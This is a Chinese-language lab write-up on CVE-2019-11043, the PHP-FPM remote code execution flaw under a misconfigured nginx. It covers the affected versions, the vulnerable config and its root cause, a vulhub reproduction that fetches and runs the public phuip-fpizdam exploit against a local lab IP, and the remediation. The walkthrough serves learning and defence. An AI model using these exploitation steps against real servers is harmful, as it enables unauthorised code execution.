2019年10月23日,PHP 官方发布了在 nginx 配置不当的情况下php-fpm 可导致远程代码执行的漏洞更新。
此漏洞是由国外安全研究员 Andrew Danau 在9 月14日至18日举办的Real World CTF 中解决一道CTF题目时发现的,向目标服务器URL发送%0a符号时,服务返回异常,疑似存在漏洞。
PHP 7.0 版本
PHP 7.1 版本
PHP 7.2 版本
PHP 7.3 版本
Nginx + php-fpm 的服务器,在使用如下配置的情况下,都可能存在远程代码执行漏洞。
location ~ [^/]\.php(/|$) {
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
}
因为“fpm_main.c”文件的第1150行代码中由于\n(%0a)的传入导致nginx传递给php-fpm的PATH_INFO为空。
进而导致可以通过FCGI_PUTENV与PHP_VALUE相结合,修改当前的php-fpm进程中的php配置,在特殊构造的配置生效的情况下可以触发任意代码执行。
kali虚拟机 go语言环境 vulhub
git clone https://github.com/vulhub/vulhub
进到对应对应目录下,启动有漏洞的Nginx和Php
cd /home/vulhub/php/CVE-2019-11043
docker-compose up -d
这里建议先给docker配置阿里云镜像加速,不然可能很慢拉不下来,初次是这样子的。
修改配置文件 /etc/docker/daemon.json把以下代码添加进去
{
"registry-mirrors": ["https://k6awn8q8.mirror.aliyuncs.com"]
}
下载压缩包
wget -c https://storage.googleapis.com/golang/go1.11.8.linux-amd64.tar.gz
解压到指定目录
tar -C /usr/local/ -zxf go1.11.8.linux-amd64.tar.gz
配置环境变量
vim /etc/profile
配置文件末尾加上export PATH=$PATH:/usr/local/go/bin
下载漏洞利用poc:https://github.com/neex/phuip-fpizdam
go get -v github.com/neex/phuip-fpizdam
这里出了点问题当时记着解决问题忘了截图了,类似下图
解决方式如下
重新编辑配置文件vim /etc/profile
这里GOROOT为安装目录 GOPATH为工作目录
source /etc/profile
回到home目录下
mkdir -p $GOPATH/src/golang.org/x
cd $GOPATH/src/golang.org/x
git clone https://github.com/golang/net.git
git clone https://github.com/golang/sync.git
这时候再下载poc就成功了
go get -v github.com/neex/phuip-fpizdam
./phuip-fpizdam http://192.168.79.137:8080/index.php
再去浏览器访问就可以执行命令了
由于php-fpm会启动多个子进程,所以命令时需要多访问几次(有点耐心),以访问到被污染的进程。
不影响业务的情况下及时删除
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
https://8io.io/?p=118
https://mp.weixin.qq.com/s/l72pQbkq6smD49SqLFo9XA
https://blog.51cto.com/13740724/2318397
https://cr.console.aliyun.com/cn-hangzhou/instances/mirrors